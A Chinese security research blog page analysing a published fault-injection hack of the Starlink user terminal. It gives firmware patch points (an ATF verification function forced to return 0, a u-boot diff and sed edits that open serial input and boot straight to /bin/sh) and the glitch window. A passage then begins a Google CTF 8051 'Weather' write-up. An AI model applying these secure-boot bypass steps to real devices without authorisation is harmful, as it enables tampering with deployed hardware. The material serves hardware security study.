<p>Lennert Wouters的破解方法就是通过飞线烧写设备上的FLASH,将原始固件替换为打开串口输入的恶意固件。但由于安全启动的存在,恶意固件无法通过启动校验。因此还需要在启动过程进行电压故障注入,跳过固件校验的代码逻辑,才能获得设备的root shell。整个破解过程中最有特色的是他设计并开源了一个针对锅的故障注入设备,游戏机破解行当多称其为modchip:</p>
<blockquote>
<p>此modchip的PCB和软件操控代码均开源:<a href="https://github.com/KULeuven-COSIC/Starlink-FI">KULeuven-COSIC/Starlink-FI</a></p>
</blockquote>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/starlink/modchip.jpg" alt="image" /></p>
<p>此modchip的使用方式大概如下:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/starlink/use.png" alt="image" /></p>
<p>既然作者给出了故障注入设备的PCB和软件操控代码,那这个破解好复现么?</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/starlink/xuanxuan.jpeg" alt="image" /></p>
<p>整个破解过程简单来说,就是利用故障注入攻击安全启动,进而启动可以拿到root shell恶意固件。然而这个的恶意固件是怎么修改出来的,Lennert Wouters基本没提,也没有公开出patch好的固件,因此这个破解不能无脑复现:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/starlink/firmware.png" alt="image" /></p>
<p>并且星链锅盖的固件甚至无法再网络上找到,只能从设备的FLASH上读出:</p>
<blockquote>
<p>只找到固件版本跟踪网站<a href="https://starlinktrack.com/firmware/">Starlink Firmware</a>,只有版本号,没有固件本体</p>
</blockquote>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/starlink/flash.png" alt="image" /></p>
<p>因此在没有设备的情况下,想要看清整个破解的全貌都是不可能的,所以我们就更难完整的理解并复现这个破解。</p>
<h2 id="复现">复现</h2>
<blockquote>
<p>要复现这个破解还有一些麻烦事,首先是要找到串口有输出的老版本锅盖。然后还有就是星链的业务遍布全球,不同国家版本的星链锅盖可能还会有细节上的不同,因此设备情况可能与破解示例有所差异,这或许也会给复现带来一些困惑。由于我还没缘分碰到设备,因此目前我只能以公开的TF-A和StarLink开源的u-boot为起点,做一些复现的准备工作。</p>
</blockquote>
<p>从原理上,整个破解的过程主要有两步,首先是先patch固件并烧写回FLASH,然后进行再故障注入。FLASH中固件的组织方式可以参考:<a href="https://www.4hou.com/posts/EW50">SpaceX StarLink 星链卫星固件提取研究</a>,可见其安全启动的实现就是开源的TF-A(也即ATF),经过分析我们确认了他的具体打法:</p>
<blockquote>
<p>和checkm8、checkm30这种打手机root的方法一样,就是逐级patch</p>
</blockquote>
<ul>
<li>Patch:从BL2内容证书开始patch,直至BL33</li>
<li>Glitch:打BL1校验BL2内容证书</li>
</ul>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/starlink/attack.png" alt="image" /></p>
<p>具体来说patch的主要有三部分:</p>
<ol>
<li>BL2内容证书:SHA512的hash数据</li>
<li>BL2:校验BL33的代码位点</li>
<li>BL33:开启串口输入、默认启动shell</li>
</ol>
<h3 id="patch-bl2">patch BL2</h3>
<blockquote>
<p>目前无固件</p>
</blockquote>
<p>首先来说BL2固件的patch,因为BL2内容证书的patch依赖于BL2固件的SHA512。通过分析开源的ATF,确定只要把<a href="https://elixir.bootlin.com/arm-trusted-firmware/v2.8/source/common/bl_common.c#L151">auth_mod_verify_img</a>这个函数patch成返回0即可跳过所有校验:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/starlink/verify.png" alt="image" /></p>
<p>所以BL2往后的一切证书相关的校验数据都作废了:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/starlink/attack.png" alt="image" /></p>
<h3 id="patch-bl2-内容证书">patch BL2 内容证书</h3>
<blockquote>
<p>目前无固件</p>
</blockquote>
<p>BL1校验BL2的过程主要有两步:</p>
<ol>
<li>首先校验BL2内容证书的签名</li>
<li>然后校验BL2内容证书中的hash与BL2固件的hash是否一致</li>
</ol>
<p>当我们修改完BL2时,内容证书中的hash与BL2固件不一致,校验不通过,因此故障注入的位置有两种选择:</p>
<ol>
<li>修改BL2内容证书中的hash,故障注入BL1对BL2内容证书的签名校验</li>
<li>不修改BL2内容证书,故障注入BL1对BL2固件的hash校验</li>
</ol>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/starlink/cert1.png" alt="image" /></p>
<p>最终他根据测试结果发现,第一种选择,即修改BL2内容证书中的hash并通过故障注入跳过BL2内容证书的签名校验的成功率较高。因此按照第一种选择,我们需要在固件中找到这144字节的证书,并修改其中的hash数据为patch后BL2的SHA512,因此这个patch是在patch完BL2之后才能进行:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/starlink/cert2.png" alt="image" /></p>
<h3 id="patch-bl33u-boot">patch BL33(u-boot)</h3>
<blockquote>
<p>锅的u-boot开源了,但是太傻逼了,spacex把修改过的u-boot放在仓库的<a href="https://github.com/SpaceExplorationTechnologies/u-boot/releases/tag/sx_2020_11_25">release</a>中了,所以你直在目标仓库里搜相关头文件如spacex_catson_boot.h是搜不到的…</p>
</blockquote>
<p>用版本号为7左右的gcc:<a href="https://releases.linaro.org/components/toolchain/binaries/7.1-2017.05/aarch64-linux-gnu/gcc-linaro-7.1.1-2017.05-x86_64_aarch64-linux-gnu.tar.xz">gcc-linaro-7.1.1-2017.05-x86_64_aarch64-linux-gnu.tar.xz</a></p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">➜</span> <span class="n">wget</span> <span class="n">https</span><span class="o">:</span><span class="c1">//github.com/SpaceExplorationTechnologies/u-boot/archive/refs/tags/sx_2020_11_25.tar.gz </span>
<span class="err">➜</span> <span class="n">tar</span> <span class="o">-</span><span class="n">xvzf</span> <span class="p">.</span><span class="o">/</span><span class="n">u</span><span class="o">-</span><span class="n">boot</span><span class="o">-</span><span class="n">sx_2020_11_25</span><span class="p">.</span><span class="n">tar</span><span class="p">.</span><span class="n">gz</span>
<span class="err">➜</span> <span class="n">cd</span> <span class="n">u</span><span class="o">-</span><span class="n">boot</span><span class="o">-</span><span class="n">sx_2020_11_25</span>
<span class="err">➜</span> <span class="n">git</span> <span class="n">init</span>
<span class="err">➜</span> <span class="n">git</span> <span class="n">add</span> <span class="p">.</span>
<span class="err">➜</span> <span class="n">git</span> <span class="n">commit</span> <span class="o">-</span><span class="n">m</span> <span class="s">"1"</span>
<span class="err">➜</span> <span class="n">make</span> <span class="n">SPACEX_CATSON_UTERM_EMMC_defconfig</span>
<span class="err">➜</span> <span class="n">make</span> <span class="n">ARCH</span><span class="o">=</span><span class="n">arm</span> <span class="n">CROSS_COMPILE</span><span class="o">=/</span><span class="n">mnt</span><span class="o">/</span><span class="n">disk2</span><span class="o">/</span><span class="n">starlink</span><span class="o">/</span><span class="n">gcc</span><span class="o">-</span><span class="n">linaro</span><span class="o">-</span><span class="mi">7</span><span class="p">.</span><span class="mi">1</span><span class="p">.</span><span class="mi">1</span><span class="o">-</span><span class="mi">2017</span><span class="p">.</span><span class="mo">05</span><span class="o">-</span><span class="n">x86_64_aarch64</span><span class="o">-</span><span class="n">linux</span><span class="o">-</span><span class="n">gnu</span><span class="o">/</span><span class="n">bin</span><span class="o">/</span><span class="n">aarch64</span><span class="o">-</span><span class="n">linux</span><span class="o">-</span><span class="n">gnu</span><span class="o">-</span> <span class="o">-</span><span class="n">j</span> <span class="err">`</span><span class="n">nproc</span><span class="err">`</span>
<span class="err">➜</span> <span class="n">ls</span>
<span class="n">api</span> <span class="n">drivers</span> <span class="n">Licenses</span> <span class="n">test</span> <span class="n">u</span><span class="o">-</span><span class="n">boot</span><span class="p">.</span><span class="n">map</span>
<span class="n">arch</span> <span class="n">dts</span> <span class="n">MAINTAINERS</span> <span class="n">tools</span> <span class="n">u</span><span class="o">-</span><span class="n">boot</span><span class="o">-</span><span class="n">nodtb</span><span class="p">.</span><span class="n">bin</span>
<span class="n">board</span> <span class="n">env</span> <span class="n">Makefile</span> <span class="n">u</span><span class="o">-</span><span class="n">boot</span> <span class="n">uboot</span><span class="p">.</span><span class="n">patch</span>
<span class="n">cmd</span> <span class="n">examples</span> <span class="n">net</span> <span class="n">u</span><span class="o">-</span><span class="n">boot</span><span class="p">.</span><span class="n">bin</span> <span class="n">u</span><span class="o">-</span><span class="n">boot</span><span class="p">.</span><span class="n">srec</span>
<span class="n">common</span> <span class="n">fs</span> <span class="n">post</span> <span class="n">u</span><span class="o">-</span><span class="n">boot</span><span class="p">.</span><span class="n">cfg</span> <span class="n">u</span><span class="o">-</span><span class="n">boot</span><span class="p">.</span><span class="n">sym</span>
<span class="n">config</span><span class="p">.</span><span class="n">mk</span> <span class="n">include</span> <span class="n">README</span> <span class="n">u</span><span class="o">-</span><span class="n">boot</span><span class="p">.</span><span class="n">cfg</span><span class="p">.</span><span class="n">configs</span>
<span class="n">configs</span> <span class="n">Kbuild</span> <span class="n">scripts</span> <span class="n">u</span><span class="o">-</span><span class="n">boot</span><span class="p">.</span><span class="n">dtb</span>
<span class="n">disk</span> <span class="n">Kconfig</span> <span class="n">spacex</span> <span class="n">u</span><span class="o">-</span><span class="n">boot</span><span class="o">-</span><span class="n">dtb</span><span class="p">.</span><span class="n">bin</span>
<span class="n">doc</span> <span class="n">lib</span> <span class="n">System</span><span class="p">.</span><span class="n">map</span> <span class="n">u</span><span class="o">-</span><span class="n">boot</span><span class="p">.</span><span class="n">lds</span>
<span class="err">➜</span> <span class="n">file</span> <span class="n">u</span><span class="o">-</span><span class="n">boot</span>
<span class="n">u</span><span class="o">-</span><span class="n">boot</span><span class="o">:</span> <span class="n">ELF</span> <span class="mi">64</span><span class="o">-</span><span class="n">bit</span> <span class="n">LSB</span> <span class="n">executable</span><span class="p">,</span> <span class="n">ARM</span> <span class="n">aarch64</span><span class="p">,</span> <span class="n">version</span> <span class="mi">1</span> <span class="p">(</span><span class="n">SYSV</span><span class="p">),</span> <span class="n">statically</span> <span class="n">linked</span><span class="p">,</span> <span class="n">with</span> <span class="n">debug_info</span><span class="p">,</span> <span class="n">not</span> <span class="n">stripped</span>
<span class="err">➜</span> <span class="n">strings</span> <span class="p">.</span><span class="o">/</span><span class="n">u</span><span class="o">-</span><span class="n">boot</span> <span class="o">|</span> <span class="n">grep</span> <span class="o">-</span><span class="n">i</span> <span class="n">space</span>
<span class="n">Warning</span><span class="o">:</span> <span class="n">eth</span> <span class="n">device</span> <span class="n">name</span> <span class="n">has</span> <span class="n">a</span> <span class="n">space</span><span class="o">!</span>
<span class="n">SPACEX_CATSON_UTERM</span>
<span class="n">FDT_ERR_NOSPACE</span>
<span class="n">SpaceX</span> <span class="n">telemetry</span> <span class="n">console</span> <span class="n">output</span>
<span class="n">board</span><span class="o">/</span><span class="n">spacex</span><span class="o">/</span><span class="n">spacex_catson_uterm</span>
</code></pre></div></div>
<p>多说一句,这里u-boot的make配置文件SPACEX_CATSON_UTERM_EMMC_defconfig是diff出来的,在根目录的.azure-pipelines.yml文件中有原始u-boot版本信息:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">trini</span><span class="o">/</span><span class="n">u</span><span class="o">-</span><span class="n">boot</span><span class="o">-</span><span class="n">gitlab</span><span class="o">-</span><span class="n">ci</span><span class="o">-</span><span class="n">runner</span><span class="o">:</span><span class="n">bionic</span><span class="o">-</span><span class="mi">20200112</span><span class="o">-</span><span class="mi">21</span><span class="n">Feb2020</span>
</code></pre></div></div>
<p>搜索:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">-</span> <span class="err">网上搜到:</span><span class="n">https</span><span class="o">:</span><span class="c1">//android.googlesource.com/platform/external/u-boot/+/0e80d597cfb3f674b65670c68c8375e002c95149/.gitlab-ci.yml</span>
<span class="o">-</span> <span class="err">可以下载:</span><span class="n">https</span><span class="o">:</span><span class="c1">//android.googlesource.com/platform/external/u-boot/+archive/0e80d597cfb3f674b65670c68c8375e002c95149.tar.gz</span>
</code></pre></div></div>
<p>然后使用<a href="https://www.cnblogs.com/f-ck-need-u/p/9071033.html">Linux下快速比较两个目录的不同</a>中提到的方法,diff目录发现新增文件,配置文件应该在u-boot的configs目录下,即可发现SPACEX_CATSON_UTERM_EMMC_defconfig(开始在configs目录搜starlink没搜到,妈的,居然是spacex)</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">➜</span> <span class="n">cat</span> <span class="err">`</span><span class="n">which</span> <span class="n">diffdir</span><span class="err">`</span>
<span class="n">ppwd</span><span class="o">=</span><span class="err">`</span><span class="n">pwd</span><span class="err">`</span>
<span class="n">cd</span> <span class="err">$</span><span class="mi">1</span><span class="p">;</span> <span class="n">find</span> <span class="p">.</span><span class="o">/</span> <span class="o">|</span> <span class="n">sort</span> <span class="o">>/</span><span class="n">tmp</span><span class="o">/</span><span class="n">file1</span>
<span class="n">cd</span> <span class="err">$</span><span class="n">ppwd</span>
<span class="n">cd</span> <span class="err">$</span><span class="mi">2</span><span class="p">;</span> <span class="n">find</span> <span class="p">.</span><span class="o">/</span> <span class="o">|</span> <span class="n">sort</span> <span class="o">|</span> <span class="n">diff</span> <span class="o">/</span><span class="n">tmp</span><span class="o">/</span><span class="n">file1</span> <span class="o">-</span>
<span class="err">➜</span> <span class="n">diffdir</span> <span class="p">.</span><span class="o">/</span><span class="n">u</span><span class="o">-</span><span class="n">boot</span><span class="o">-</span><span class="n">sx_2020_11_25</span> <span class="p">.</span><span class="o">/</span><span class="n">u</span><span class="o">-</span><span class="n">boot</span><span class="o">-</span><span class="mf">0e80</span><span class="n">d597cfb3f674b65670c68c8375e002c95149</span> <span class="o">|</span> <span class="n">grep</span> <span class="n">configs</span>
<span class="o"><</span> <span class="p">.</span><span class="c1">//configs/SPACEX_CATSON_UTERM_EMMC_defconfig</span>
<span class="o"><</span> <span class="p">.</span><span class="c1">//configs/SPACEX_CATSON_UTERM_defconfig</span>
<span class="o">></span> <span class="p">.</span><span class="c1">//configs/cf-x86_defconfig</span>
<span class="o"><</span> <span class="p">.</span><span class="c1">//configs/cortina_presidio-asic-emmc_defconfig</span>
<span class="o"><</span> <span class="p">.</span><span class="c1">//configs/p3450-0000_defconfig</span>
<span class="o"><</span> <span class="p">.</span><span class="c1">//configs/socfpga_secu1_defconfig</span>
<span class="o">></span> <span class="p">.</span><span class="c1">//configs/woodburn_defconfig</span>
<span class="o">></span> <span class="p">.</span><span class="c1">//configs/woodburn_sd_defconfig</span>
<span class="o"><</span> <span class="p">.</span><span class="c1">//configs/xilinx_zynq_virt_defconfig</span>
<span class="o">></span> <span class="p">.</span><span class="c1">//configs/zynq_virt_defconfig</span>
<span class="o"><</span> <span class="p">.</span><span class="c1">//include/configs/SPACEX_CATSON_COMMON.h</span>
<span class="o"><</span> <span class="p">.</span><span class="c1">//include/configs/SPACEX_CATSON_UTERM.h</span>
<span class="o"><</span> <span class="p">.</span><span class="c1">//include/configs/SPACEX_STARLINK_COMMON.h</span>
<span class="o"><</span> <span class="p">.</span><span class="c1">//include/configs/p3450-0000.h</span>
<span class="o"><</span> <span class="p">.</span><span class="c1">//include/configs/socfpga_arria5_secu1.h</span>
<span class="o"><</span> <span class="p">.</span><span class="c1">//include/configs/spacex_catson_boot.h</span>
<span class="o"><</span> <span class="p">.</span><span class="c1">//include/configs/spacex_common.h</span>
<span class="o">></span> <span class="p">.</span><span class="c1">//include/configs/woodburn.h</span>
<span class="o">></span> <span class="p">.</span><span class="c1">//include/configs/woodburn_common.h</span>
<span class="o">></span> <span class="p">.</span><span class="c1">//include/configs/woodburn_sd.h</span>
</code></pre></div></div>
<p>现在统计其关键字:SPACEX、CATSON、starlink、gllcff</p>
<h4 id="源码-patch">源码 patch</h4>
<p>分析源码通过类似bootargs的字符搜索,找到主要patch两个点:</p>
<blockquote>
<p>这些bootargs运行时以uboot环境变量的形式存在,其在源码中一般存在于某个头文件中的宏定义</p>
</blockquote>
<ul>
<li>include/configs/spacex_catson_boot.h: 删掉 stdin=nulldev,开启串口输入</li>
<li>include/configs/spacex_common.h: 启动程序rdinit=/usr/sbin/sxruntime_start换成/bin/sh,启动直接进shell</li>
</ul>
<div class="language-patch highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gh">diff -uprN ./u-boot-sx_2020_11_25_raw/include/configs/spacex_catson_boot.h ./u-boot-sx_2020_11_25/include/configs/spacex_catson_boot.h
</span><span class="gd">--- ./u-boot-sx_2020_11_25_raw/include/configs/spacex_catson_boot.h 2020-12-15 10:28:45.000000000 +0800
</span><span class="gi">+++ ./u-boot-sx_2020_11_25/include/configs/spacex_catson_boot.h 2022-10-14 13:05:42.000000000 +0800
</span><span class="p">@@ -191,8 +191,7 @@</span>
"setup_burn_memory=mw.q " __stringify(CATS_TERM_SCRATCH_ADDR) " 0x12345678aa640001 && " \
"mw.l " __stringify(CATS_TERM_LOAD_ADDR) " 0xffffffff " __stringify(CATS_BOOTTERM1_SIZE) " && " \
"mw.l " __stringify(CATS_TERM_TOC_SER_ADDR) " " __stringify(CATS_TERM_TOC_SER_VAL) "\0" \
<span class="gd">- "startkernel=unecc $kernel_load_addr $kernel_boot_addr && bootm $kernel_boot_addr${boot_type}\0" \
- "stdin=nulldev\0"
</span><span class="gi">+ "startkernel=unecc $kernel_load_addr $kernel_boot_addr && bootm $kernel_boot_addr${boot_type}\0"
</span>
/* Needed for emmc but undefined by spacex_common.h */
#ifdef CONFIG_CATSON_EMMC_ENABLED
<span class="gh">diff -uprN ./u-boot-sx_2020_11_25_raw/include/configs/spacex_common.h ./u-boot-sx_2020_11_25/include/configs/spacex_common.h
</span><span class="gd">--- ./u-boot-sx_2020_11_25_raw/include/configs/spacex_common.h 2020-12-15 10:28:45.000000000 +0800
</span><span class="gi">+++ ./u-boot-sx_2020_11_25/include/configs/spacex_common.h 2022-10-14 13:06:22.000000000 +0800
</span><span class="p">@@ -209,7 +209,7 @@</span>
* with different serial implementations can not take them.
*/
#define SPACEX_BOOTARGS \
<span class="gd">- "rdinit=/usr/sbin/sxruntime_start " \
</span><span class="gi">+ "rdinit=/bin/sh " \
</span> "mtdoops.mtddev=mtdoops " \
"console=" SX_LINUX_CONSOLE "," __stringify(CONFIG_BAUDRATE) " "\
SPACEX_KERNEL_VERBOSITY " " \
</code></pre></div></div>
<p>按如下patch然后编译即可:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">➜</span> <span class="n">pwd</span>
<span class="o">/</span><span class="n">mnt</span><span class="o">/</span><span class="n">disk2</span><span class="o">/</span><span class="n">starlink</span><span class="o">/</span><span class="n">u</span><span class="o">-</span><span class="n">boot</span><span class="o">-</span><span class="n">sx_2020_11_25</span>
<span class="err">➜</span> <span class="n">patch</span> <span class="o">-</span><span class="n">p2</span> <span class="o"><</span> <span class="p">.</span><span class="o">/</span><span class="n">uboot</span><span class="p">.</span><span class="n">patch</span>
</code></pre></div></div>
<h4 id="二进制-patch">二进制 patch</h4>
<p>linux启动参数最终一般都会编译在u-boot本体里,运行时以uboot的环境变量的形式存在,也有在设备树里的:</p>
<ul>
<li>环境变量:<a href="https://xuanxuanblingbling.github.io/iot/2020/11/17/iot/">西湖论剑 2020 IoT闯关赛 赛后整理</a></li>
<li>设备树:<a href="https://mp.weixin.qq.com/s/aOirT1aIfbbN890X39zWBw">2021西湖论剑IOT RW-WriteUp</a></li>
</ul>
<p>所以也可以使用sed直接修改目标二进制的字符串,注意替换长度要一致,比较适合拿到真实固件后patch:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">➜</span> <span class="n">sed</span> <span class="err">'</span><span class="n">s</span><span class="o">/</span><span class="err">\</span><span class="o">/</span><span class="n">usr</span><span class="err">\</span><span class="o">/</span><span class="n">sbin</span><span class="err">\</span><span class="o">/</span><span class="n">sxruntime_start</span><span class="o">/</span><span class="err">\</span><span class="o">/</span><span class="n">bin</span><span class="err">\</span><span class="o">/</span><span class="n">sh</span> <span class="o">/</span><span class="n">g</span><span class="err">'</span> <span class="p">.</span><span class="o">/</span><span class="n">u</span><span class="o">-</span><span class="n">boot</span> <span class="o">></span> <span class="p">.</span><span class="o">/</span><span class="n">u</span><span class="o">-</span><span class="n">boot</span><span class="p">.</span><span class="n">tmp</span>
<span class="err">➜</span> <span class="n">sed</span> <span class="err">'</span><span class="n">s</span><span class="o">/</span><span class="n">stdin</span><span class="o">=</span><span class="n">nulldev</span><span class="o">/</span><span class="err">\</span><span class="n">x00</span> <span class="o">/</span><span class="n">g</span><span class="err">'</span> <span class="p">.</span><span class="o">/</span><span class="n">u</span><span class="o">-</span><span class="n">boot</span><span class="p">.</span><span class="n">tmp</span> <span class="o">></span> <span class="n">u</span><span class="o">-</span><span class="n">boot</span><span class="p">.</span><span class="n">exp</span>
<span class="err">➜</span> <span class="n">ls</span> <span class="o">-</span><span class="n">al</span> <span class="p">.</span><span class="o">/</span><span class="n">u</span><span class="o">-</span><span class="n">boot</span> <span class="p">.</span><span class="o">/</span><span class="n">u</span><span class="o">-</span><span class="n">boot</span><span class="p">.</span><span class="n">exp</span>
<span class="o">-</span><span class="n">rwxrwxr</span><span class="o">-</span><span class="n">x</span> <span class="mi">1</span> <span class="n">xuan</span> <span class="n">xuan</span> <span class="mi">3097272</span> <span class="mi">10</span><span class="err">月</span> <span class="mi">13</span> <span class="mi">21</span><span class="o">:</span><span class="mi">33</span> <span class="p">.</span><span class="o">/</span><span class="n">u</span><span class="o">-</span><span class="n">boot</span>
<span class="o">-</span><span class="n">rw</span><span class="o">-</span><span class="n">rw</span><span class="o">-</span><span class="n">r</span><span class="o">--</span> <span class="mi">1</span> <span class="n">xuan</span> <span class="n">xuan</span> <span class="mi">3097272</span> <span class="mi">10</span><span class="err">月</span> <span class="mi">14</span> <span class="mi">13</span><span class="o">:</span><span class="mi">23</span> <span class="p">.</span><span class="o">/</span><span class="n">u</span><span class="o">-</span><span class="n">boot</span><span class="p">.</span><span class="n">exp</span>
</code></pre></div></div>
<h3 id="故障注入位点">故障注入位点</h3>
<p>在加载id=6的镜像时进行故障注入,在TF-A中,6号image为BL2的内容证书:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/starlink/id6.png" alt="image" /></p>
<p>因此故障注入窗口就在目标串口输出Image id=6那句到Loading image id=1之间(目标设备比TF-A 2.6中间还多出一些打印):</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nl">NOTICE:</span> <span class="n">Booting</span> <span class="n">Trusted</span> <span class="n">Firmware</span>
<span class="n">NOTICE</span><span class="o">:</span> <span class="n">BL1</span><span class="o">:</span> <span class="n">v2</span><span class="p">.</span><span class="mi">6</span><span class="p">(</span><span class="n">debug</span><span class="p">)</span><span class="o">:</span><span class="n">v2</span><span class="p">.</span><span class="mi">6</span><span class="o">-</span><span class="n">dirty</span>
<span class="n">NOTICE</span><span class="o">:</span> <span class="n">BL1</span><span class="o">:</span> <span class="n">Built</span> <span class="o">:</span> <span class="mi">13</span><span class="o">:</span><span class="mi">54</span><span class="o">:</span><span class="mi">11</span><span class="p">,</span> <span class="n">Nov</span> <span class="mi">15</span> <span class="mi">2022</span>
<span class="n">NOTICE</span><span class="o">:</span> <span class="n">BL1</span><span class="o">:</span> <span class="n">RAM</span> <span class="mh">0xe04e000</span> <span class="o">-</span> <span class="mh">0xe058000</span>
<span class="n">INFO</span><span class="o">:</span> <span class="n">Using</span> <span class="n">crypto</span> <span class="n">library</span> <span class="err">'</span><span class="n">mbed</span> <span class="n">TLS</span><span class="err">'</span>
<span class="n">INFO</span><span class="o">:</span> <span class="n">BL1</span><span class="o">:</span> <span class="n">Loading</span> <span class="n">BL2</span>
<span class="n">INFO</span><span class="o">:</span> <span class="n">Loading</span> <span class="n">image</span> <span class="n">id</span><span class="o">=</span><span class="mi">6</span> <span class="n">at</span> <span class="n">address</span> <span class="mh">0xe01b000</span>
<span class="n">INFO</span><span class="o">:</span> <span class="n">Image</span> <span class="n">id</span><span class="o">=</span><span class="mi">6</span> <span class="n">loaded</span><span class="o">:</span> <span class="mh">0xe01b000</span> <span class="o">-</span> <span class="mh">0xe01b4b6</span>
<span class="n">NOTICE</span><span class="o">:</span> <span class="p">[</span><span class="o">+</span><span class="p">]</span> <span class="o">---------</span> <span class="n">Glitch</span><span class="o">:</span> <span class="mi">6</span> <span class="o">---------</span> <span class="c1">// TRUSTED_BOOT_FW_CERT_ID</span>
<span class="n">NOTICE</span><span class="o">:</span> <span class="p">[</span><span class="o">-</span><span class="p">]</span> <span class="o">---------</span> <span class="n">Glitch</span><span class="o">:</span> <span class="mi">6</span> <span class="o">---------</span> <span class="c1">// tb_fw.crt</span>
<span class="n">INFO</span><span class="o">:</span> <span class="n">Loading</span> <span class="n">image</span> <span class="n">id</span><span class="o">=</span><span class="mi">1</span> <span class="n">at</span> <span class="n">address</span> <span class="mh">0xe01b000</span>
</code></pre></div></div>
<p>所以可以确认故障注入就是在打BL2内容证书的签名校验:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/starlink/glitch.png" alt="image" /></p>
<h3 id="电压故障注入细节">电压故障注入细节</h3>
<p>在刷写完构造好的伪造固件后,就进入到破解的最后一步,电压故障注入。但这个电压故障注入到底怎么打?在哪打?打几个?只能等之后有缘分碰到设备再说啦!</p>老板娘欢迎报名 OSR TrustZone PwnGoogle CTF 2022 Quals Hardware 8051 Pwn: Weather2022-11-02T00:00:00+00:002022-11-02T00:00:00+00:00https://xuanxuanblingbling.github.io/iot/2022/11/02/8051<blockquote>
<p>题目为采用8051模拟器运行的交互式程序,交互命令可以读写I2C总线设备。漏洞点为其对I2C总线设备号校验不严格,导致可以通过交互式命令行读写到挂接在I2C总线上的,并存储着8051程序代码的EEPROM。而flag位于8051可以访问的特殊寄存器中,因此通过对EEPROM的非法写即可写入shellcode并完成控制流劫持。不过由于EEPROM物理特性,通过I2C总线对其写入只能按bit将1写为0,但这现象似乎违背EEPROM可重复擦写的特征,其实其擦写的方法为通过对其引脚的一系列电平操作,使得整块EEPROM全部bit归1,然后按bit将1写0,这个操作在现实中一般使用编程器对EEPROM单独操作,在8051的shellcode中无法完成,本模拟器也将本物理特性如实模拟。因此对于本题中控制流劫持的位置以及shellcode写入位置都有额外的限制,需要针对题目固件选择特定的位置进行写入。</p>
</blockquote>
<ul>
<li>题目附件:<a href="https://xuanxuanblingbling.github.io/assets/attachment/google/weather.zip">weather.zip</a></li>
<li>环境源码:<a href="https://github.com/google/google-ctf/tree/master/2022/quals/hardware-weather">google-ctf/2022/quals/hardware-weather/</a></li>
<li>CTFTIME:<a href="https://ctftime.org/task/22888">Google Capture The Flag 2022 / Tasks / Weather</a></li>
</ul>
<p>参考WP:</p>
<ul>
<li><a href="https://forum.butian.net/share/1740">GoogleCTF2022: PWN掉一款8051气象站</a></li>
<li><a href="https://blog.nanax.fr/post/2022-07-02-hardware-weather/">erdnaxe’s blog: Write-up Weather (GoogleCTF 2022)</a></li>
<li><a href="https://github.com/YavaCoco/Writeups/tree/main/GoogleCTF2022/Hardware-Weather">YavaCoco: GoogleCTF 2022 - Hardware - Weather writeup</a></li>
<li><a href="https://kileak.github.io/ctf/2022/googlectf22-weather/">Super Guesser: Google Capture The Flag 2022 - weather</a></li>
<li><a href="https://qiita.com/kusano_k/items/3d90a59b6d048497e3c7#weather">kusano_k: Google CTF 2022 writeup</a></li>
<li><a href="https://github.com/project-kaat/ctf-writeups/tree/main/googleCTF2022/Weather">project-kaat: googleCTF2022 Weather</a></li>
<li><a href="https://gist.github.com/szymex73/29f470c7d053ab8a80de6a78c896a727">szymex73: Weather</a></li>
</ul>
<h2 id="硬件">硬件</h2>
<p>通过阅读pdf可以知道硬件结构:</p>
<ul>
<li>I2C总线上挂着5个传感器</li>
<li>可以通过串口进行输入输出</li>
<li>主存储器型号为CTF-55930D,SPI接口的EEPROM,大小为4096字节</li>
<li>flag存储在FlagROM上</li>
</ul>
<p>其中比较可疑的是这个EEPROM支持I2C接口,那他到底有没有挂在8051的I2C控制器上呢?</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/google/i2c.png" alt="image" /></p>
<h2 id="软件">软件</h2>
<p>软件上给的代码只有firmware.c,不过8051的C代码,还是有以下方面需要说明</p>
<h3 id="源码">源码</h3>
<p>8051的C代码里有两个语法比较奇怪,分别是:</p>
<ul>
<li><code class="language-plaintext highlighter-rouge">__sfr __at()</code></li>
<li><code class="language-plaintext highlighter-rouge">__xdata</code></li>
</ul>
<h4 id="特殊功能寄存器">特殊功能寄存器</h4>
<p>其一为<code class="language-plaintext highlighter-rouge">__sfr</code>:</p>
<ul>
<li><a href="https://zhuanlan.zhihu.com/p/556498633">特殊功能寄存器(SFR)详解 ——以8051单片机为例</a></li>
<li><a href="https://adamsq.github.io/blog/2015/05/05/sdcc4/">sdcc man阅读笔记(四)——存储类型关键字</a></li>
<li><a href="https://www.maximintegrated.com/cn/design/technical-documents/app-notes/3/3477.html">使用免费的SDCC C编译器开发DS89C430/450系列微控制器固件</a></li>
<li><a href="https://sites.google.com/site/mmcnepos/sdcc8051">MMCN 伺服与控制专题</a></li>
</ul>
<p>这似乎是外设IO的控制方法,即读写特定寄存器访问IO,类似x86的in/out端口:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Secret ROM controller.</span>
<span class="n">__sfr</span> <span class="n">__at</span><span class="p">(</span><span class="mh">0xee</span><span class="p">)</span> <span class="n">FLAGROM_ADDR</span><span class="p">;</span>
<span class="n">__sfr</span> <span class="n">__at</span><span class="p">(</span><span class="mh">0xef</span><span class="p">)</span> <span class="n">FLAGROM_DATA</span><span class="p">;</span>
<span class="c1">// Serial controller.</span>
